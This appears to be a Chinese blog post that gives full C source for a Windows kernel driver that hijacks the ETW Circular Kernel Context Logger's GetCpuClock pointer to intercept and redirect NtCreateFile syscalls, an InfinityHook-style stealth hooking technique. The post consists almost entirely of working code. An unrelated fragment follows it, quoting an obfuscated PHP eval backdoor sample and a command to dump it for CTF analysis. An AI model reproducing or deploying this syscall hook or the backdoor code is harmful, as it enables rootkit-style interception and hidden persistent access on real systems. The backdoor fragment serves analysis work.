[Windows内核]Etw Hook纯C源码

#include <ntifs.h>
#include <wmistr.h>
#include <intrin.h>
#include <ntimage.h>
#define EtwpStartTrace		1
#define EtwpStopTrace		2
#define EtwpQueryTrace		3
#define EtwpUpdateTrace		4
#define EtwpFlushTrace		5
#define EVENT_TRACE_SYSTEM_LOGGER_MODE 0x02000000
#define WNODE_FLAG_TRACED_GUID			0x00020000  
#define EVENT_TRACE_BUFFERING_MODE      0x00000400 
#define EVENT_TRACE_FLAG_SYSTEMCALL     0x00000080  
#define IA32_LSTAR_MSR 0xC0000082

typedef struct _WMI_LOGGER_INFORMATION
{
	WNODE_HEADER Wnode;						// WNODE_HEADER是公开的,这里就不贴上来了
	ULONG BufferSize;
	ULONG MinimumBuffers;
	ULONG MaximumBuffers;
	ULONG MaximumFileSize;
	ULONG LogFileMode;
	ULONG FlushTimer;
	ULONG EnableFlags;
	union
	{
		LONG AgeLimit;
		LONG FlushThreshold;
	};
	ULONG Wow;
	LONG Padding_719;
	union
	{
		PVOID LogFileHandle;
		ULONGLONG LogFileHandle64;
	};
	union
	{
		ULONG NumberOfBuffers;
		ULONG InstanceCount;
	};
	union
	{
		ULONG FreeBuffers;
		ULONG InstanceId;
	};
	union
	{
		ULONG EventsLost;
		ULONG NumberOfProcessors;
	};
	ULONG BuffersWritten;
	union
	{
		ULONG LogBuffersLost;
		ULONG Flags;
	};
	ULONG RealTimeBuffersLost;
	union
	{
		PVOID LoggerThreadId;
		ULONGLONG LoggerThreadId64;
	};
	union
	{
		UNICODE_STRING LogFileName;
		STRING64 LogFileName64;
	};
	union
	{
		UNICODE_STRING LoggerName;
		STRING64 LoggerName64;
	};
	ULONG RealTimeConsumerCount;
	ULONG SpareUlong;
	union
	{
		union
		{
			PVOID LoggerExtension;
			ULONGLONG LoggerExtension64;
		};
	}  DUMMYUNIONNAME10;
} WMI_LOGGER_INFORMATION, * PWMI_LOGGER_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
	SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
	ULONG Unknow1;
	ULONG Unknow2;
	ULONG Unknow3;
	ULONG Unknow4;
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT NameLength;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	char ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG Count;	
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
}SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

const GUID CkclSessionGuid = { 0x54dea73a, 0xed1f, 0x42a4, { 0xaf, 0x71, 0x3e, 0x63, 0xd0, 0x56, 0xf1, 0x74 } };

const GUID session_guid = { 0x9E814AAD, 0x3204, 0x11D2, { 0x9A, 0x82, 0x0, 0x60, 0x8, 0xA8, 0x69, 0x39 } };

NTSYSCALLAPI
NTSTATUS
NTAPI
ZwTraceControl(
	_In_ ULONG FunctionCode,
	_In_reads_bytes_opt_(InBufferLen) PVOID InBuffer,
	_In_ ULONG InBufferLen,
	_Out_writes_bytes_opt_(OutBufferLen) PVOID OutBuffer,
	_In_ ULONG OutBufferLen,
	_Out_ PULONG ReturnLength
);

NTSYSCALLAPI NTSTATUS
ZwQuerySystemInformation(
	IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
	OUT PVOID SystemInformation,
	IN ULONG SystemInformationLength,
	OUT PULONG ReturnLength OPTIONAL
);

NTSTATUS OpenEtwLogger() {
	ULONG ret;
	PWMI_LOGGER_INFORMATION pWmiLogger = (PWMI_LOGGER_INFORMATION)ExAllocatePool(NonPagedPool , PAGE_SIZE);
	memset(pWmiLogger, 0, PAGE_SIZE); 
	pWmiLogger->BufferSize = sizeof(ULONG);
	pWmiLogger->MaximumBuffers = pWmiLogger->MinimumBuffers = 2;
	pWmiLogger->Wnode.ClientContext = 3;
	pWmiLogger->Wnode.Guid = CkclSessionGuid;
	pWmiLogger->Wnode.BufferSize = PAGE_SIZE;
	pWmiLogger->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pWmiLogger->LogFileMode = EVENT_TRACE_BUFFERING_MODE;
	RtlInitUnicodeString(&pWmiLogger->LoggerName , L"Circular Kernel Context Logger");

	NTSTATUS status = ZwTraceControl(EtwpStartTrace, pWmiLogger , PAGE_SIZE , pWmiLogger , PAGE_SIZE , &ret);

	pWmiLogger->EnableFlags = EVENT_TRACE_FLAG_SYSTEMCALL;
	status = ZwTraceControl(EtwpUpdateTrace, pWmiLogger, PAGE_SIZE, pWmiLogger, PAGE_SIZE, &ret);
	if (!NT_SUCCESS(status)) {
		DbgPrint("Etw打开失败\n");
		return status;
	}
	DbgPrint("Open Etw Success->%d\n",status);

	return STATUS_SUCCESS;
}

NTSTATUS EndEtwLogger() {
	ULONG ret;
	PWMI_LOGGER_INFORMATION pWmiLogger = (PWMI_LOGGER_INFORMATION)ExAllocatePool(NonPagedPool, PAGE_SIZE);
	memset(pWmiLogger, 0, PAGE_SIZE);
	pWmiLogger->BufferSize = sizeof(ULONG);
	pWmiLogger->MaximumBuffers = pWmiLogger->MinimumBuffers = 2;
	pWmiLogger->Wnode.ClientContext = 3;
	pWmiLogger->Wnode.Guid = CkclSessionGuid;
	pWmiLogger->Wnode.BufferSize = PAGE_SIZE;
	pWmiLogger->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pWmiLogger->LogFileMode = EVENT_TRACE_BUFFERING_MODE;
	RtlInitUnicodeString(&pWmiLogger->LoggerName, L"Circular Kernel Context Logger");

	NTSTATUS status = ZwTraceControl(EtwpStopTrace, pWmiLogger, PAGE_SIZE, pWmiLogger, PAGE_SIZE, &ret);
	if (!NT_SUCCESS(status)) {
		DbgPrint("Etw关闭失败\n");
		return status;
	}
	DbgPrint("End Etw Success->%d\n", status);

	return status;
}

ULONG64 GetKernelBase(PULONG dwSize) {
	ULONG ret;
	PSYSTEM_MODULE_INFORMATION pSystemInfo = (PSYSTEM_MODULE_INFORMATION)ExAllocatePool(NonPagedPool, 1024 * 1024);
	if (pSystemInfo == NULL) {
		return 0;
	}
	NTSTATUS status = ZwQuerySystemInformation(SystemModuleInformation, pSystemInfo, 1024 * 1024, &ret);
	if (!NT_SUCCESS(status)) {
		DbgPrint("模块查询失败\n");
		return 0;
	}
	for (ULONG dwCount = 0; dwCount < pSystemInfo->Count; dwCount++) {
		if (!strcmp(pSystemInfo->Module[dwCount].ImageName + pSystemInfo->Module[dwCount].ModuleNameOffset, "ntoskrnl.exe")) {
			*dwSize = pSystemInfo->Module[dwCount].Size;
			return (ULONG64)(pSystemInfo->Module[dwCount].Base);
		}
	}
	return 0;
}

//0x2c, 0x08, 0x04, 0x38, 0x0c 
ULONG64 GetEtwpDebuggerDataAddr() {
	ULONG dwSize;
	ULONG64 NtoskrnlBase = GetKernelBase(&dwSize);
	if (!NtoskrnlBase || !dwSize) {
		DbgPrint("模块查询失败\n");
		return 0;
	}
	ULONG64 StartAddress;
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)NtoskrnlBase;
	PIMAGE_NT_HEADERS64 pNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)pDosHeader + pDosHeader->e_lfanew);
	PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeader);
	for (ULONG i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
		if (!strcmp(pSection[i].Name , ".data")) {
			StartAddress = pSection[i].VirtualAddress + (ULONG64)pDosHeader;
			for (ULONG64 Addr = StartAddress; Addr < StartAddress + pSection[i].Misc.VirtualSize; Addr++) {
				if (MmIsAddressValid(Addr)) {
					if (*(PUCHAR)(Addr) == 0x2C && *(PUCHAR)(Addr + 0x1) == 0x08 && *(PUCHAR)(Addr + 0x2) == 0x04 && *(PUCHAR)(Addr + 0x3) == 0x38 && *(PUCHAR)(Addr + 0x4) == 0x0C) {
						DbgPrint("EtwpDebuggerDataAddr->%p\n" ,Addr-0x2);
						return Addr - 0x2;
					}
				}
			}
		}
	}
	return 0;
}

NTSTATUS detour_NtCreateFile(
	_Out_ PHANDLE FileHandle,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ POBJECT_ATTRIBUTES ObjectAttributes,
	_Out_ PIO_STATUS_BLOCK IoStatusBlock,
	_In_opt_ PLARGE_INTEGER AllocationSize,
	_In_ ULONG FileAttributes,
	_In_ ULONG ShareAccess,
	_In_ ULONG CreateDisposition,
	_In_ ULONG CreateOptions,
	_In_reads_bytes_opt_(EaLength) PVOID EaBuffer,
	_In_ ULONG EaLength) {
	DbgPrint("NtCreateFile 已被接管\n");
	return NtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);
}

ULONG64 FakeGetCpuClock() {
	if (ExGetPreviousMode() == KernelMode) {
		return __rdtsc();
	}
	UNICODE_STRING TargetFuncName = RTL_CONSTANT_STRING(L"NtCreateFile");
	ULONG64 TargetFuncAddr = (ULONG64)MmGetSystemRoutineAddress(&TargetFuncName);
	ULONG64 SysCallAddr = (ULONG64)__readmsr(IA32_LSTAR_MSR);
	PULONG64 Stack_Top = (PULONG64)__readgsqword(0x1A8);
	PULONG64 Cut_Stack = (PULONG64)_AddressOfReturnAddress();
	ULONG magic_1 = 0x501802ul;
	USHORT magic = 0xf33ul;
	USHORT Stack_GetMagic;
	ULONG Stack_GetMagic_1;
	for (; Cut_Stack < Stack_Top; Cut_Stack++) {
		Stack_GetMagic = *(PUSHORT)Cut_Stack;
		if (Stack_GetMagic != magic) {
			continue;
		}
		Cut_Stack++;
		Stack_GetMagic_1 = *(PULONG)Cut_Stack;
		if (Stack_GetMagic_1 != magic_1) {
			continue;
		}
		for (; Cut_Stack < Stack_Top; Cut_Stack++) {
			if (*Cut_Stack >= (ULONG64)PAGE_ALIGN(SysCallAddr) && *Cut_Stack <= (ULONG64)PAGE_ALIGN(SysCallAddr + PAGE_SIZE * 2)) {
				PVOID* SysCallTarget = (PVOID*)&Cut_Stack[0x9];
				if ((ULONG64)*SysCallTarget == TargetFuncAddr) {
					*SysCallTarget = detour_NtCreateFile;
				}
				break;
			}
		}
		break;
	}
	return __rdtsc();
}

/*nt!_WMI_LOGGER_CONTEXT
   +0x000 LoggerId         : 2
   +0x004 BufferSize       : 0x1000
   +0x008 MaximumEventSize : 0xfb8
   +0x00c LoggerMode       : 0x2800480
   +0x010 AcceptNewEvents  : 0n0
   +0x014 EventMarker      : [2] 0xc0130000
   +0x01c ErrorMarker      : 0xc00d0000
   +0x020 SizeMask         : 0xffff
   +0x028 GetCpuClock      : 0xfffff807`8033d450     int64  nt!EtwpGetCycleCount+0
   +0x030 LoggerThread     : (null) 
*/

BOOLEAN HookEtwGetCpuClock() {
	ULONG64 EtwpDebuggerDataAdd = GetEtwpDebuggerDataAddr();
	ULONG64 EtwpDebuggerDataSilo = *(PULONG64)(EtwpDebuggerDataAdd + 0x10);
	ULONG64 CkclWmiLoggerContext = *(PULONG64)(EtwpDebuggerDataSilo + 0x10);
	DbgPrint("CkclWmiLoggerContext Addr->%p\n" , CkclWmiLoggerContext);
	PULONG64 GetCpuClockAddr = (PULONG64)(CkclWmiLoggerContext+0x28);
	*GetCpuClockAddr = (ULONG64)FakeGetCpuClock;
	return TRUE;
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObject) {
	EndEtwLogger();
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject , PUNICODE_STRING Reg_Path) {
	pDriverObject->DriverUnload = DriverUnload;
	OpenEtwLogger();
	HookEtwGetCpuClock();
	return STATUS_SUCCESS;
}

在win10 1901测试下效果

CTF/php后门分析中经常遇到加密压缩过的PHP文件, <? $O00OO0=urldecode("n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iQk9DWm1LUHF5bkR4QWJmR05FdW90c2pkUlljcmlKTXdWZ0ZVenZYTGthVFNwSWxoZUhRV1dITmZhQ0d5b3RzanBRTFN3WXpyYmx4aERjQXZUT1VQUklpdW1aSmVrbktkcWdNVlhGRUJHczh3TmFWTWNCRE1BVElURTI5emhTUnpoTjEwWEpXTUhUVzBmSlYwZTJWMFFCUDdnU3dyY0pPbWZKRTloSkRhZUtJVENLbElzRXFxZlRJVmZhTWxmUjlNWFNNbWhGVXJPbzRaZlNpMGNkOXFRdHcwY0JqbGVhalpjMmx0Q2Rrd050bHdOVHBJZ05XcmZCaWtmSmdyZ2tqWmMyaTBuQjl6SFRwWm5CNW1oU2lsUU45cVFhRE1YTjVQbkZwVENLbHdOVHBJZ05XTVhTTTBIUDBDTEUwQ2ZTUmFuQjVNQ05oV3VpV0x1azlHUk5BbGdGdzBBTTlvZkpXbGNCd01DTmhBSk5BbGdOQVpPb1BJZlNNb1FhaWJmZFZMSjBmT0tZUkxKb2txQ0tsd05UOHlnSEI2TUhYdXlIQkV4WFh0bEZoM2hvNVZmUzFxUWE0emMyNHllUDBDZlNSYW5CNU1DTmhXdWlXTEtraXdEZEFsZ05oVkFGcHRDS2x3TlQ4eWdIQjZNSFh1eUhYUXZ6QjlNZHJac0Vxa2ZCZnFRYXVyTzBpRXVpOUVFUkRnT29QSU9vNFpjMjFtaFNpWmVvQXFIUDBDZW9ySTVxQlA1cjJ6NTV6ejVRMlJDVDh3TmFETWZhTXpmZEl0dVlNSEowRFdSWWlMdVlpdWROQWxnTkF6ZTJEVmhTWVpPb2s3c0VyWkNUc2FUbnRNbGZKdGE2N01aZnV5ZVAwQ2ZTUmFuQjVNQ05oaUJpRGlLa0RMdVlpdWROQWxnWWlFdWk5RUVSRGdnTjRJTzBSNGhTUnpmTjh0Q0tsd05UOHlnSGFpeFhYOXZ6bkJWK2Q3YnpYUXZ6QjlNZHJac0Vxa2ZCZnFRYXVyTzB3R0trZkx1WWl1ZE5BbGdpV09LTTlZRVJEV0oxV1dSWUlJZVRwdGMyOXpmYU10ZW9BcUhQMENlb3JJNXFCUDVyMno1NXp6NVEyUkNUOHdOYURNZmFNemZkSXR1TVJIUllNd0RSOUVFUkRnT29QSU9vNFpKM08xUXREcVFCdVpPb2s3c0VyWkNUV2dSWTFVNmYyZjVyTlc1cW5GNWV6MjU1eno1UTJSQ1Q4d05UOFpmU1JhbkI1TUNOaGdSWTFVSjFXV1JZSXRlTldFZHU1TERZaXVFUjlFRVJEZ2dONElPMlYwUUJQWk9vazdzRXJaQ1RXWUR1T1JEK0I4SUhCaWxvclpzRXFrZkJmcVFhdXJPMGlFdWk5WUR1T1JEb0FsZ1NmVlFGd01DS2x3TnRPTUFKUnFBYXVyZ1Q0WmMyOW9mZDl1blNNem4xV2d1Tjl1blNNem4xV2d1TjVQbkZwVENLbHdOSTBDc0VyL0dJPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?> 编译环境 ===================================================================== PHP : /usr/bin/php7.2 PHP_SAPI : cli PHP_VERSION : 7.2.9-1 ZEND_VERSION: 3.2.0 PHP_OS : Linux - Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kali1 (2018-02-16) x86_64 INI actual : /root/temp/evalhook/tmp-php.ini More .INIs : CWD : /root/temp/evalhook Extra dirs : VALGRIND : Not used ===================================================================== TIME START 2019-01-04 07:46:12 ===================================================================== php -d extension=evalhook.so encoded_script.php 可直接dump大部分加密php文件中eval中的内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值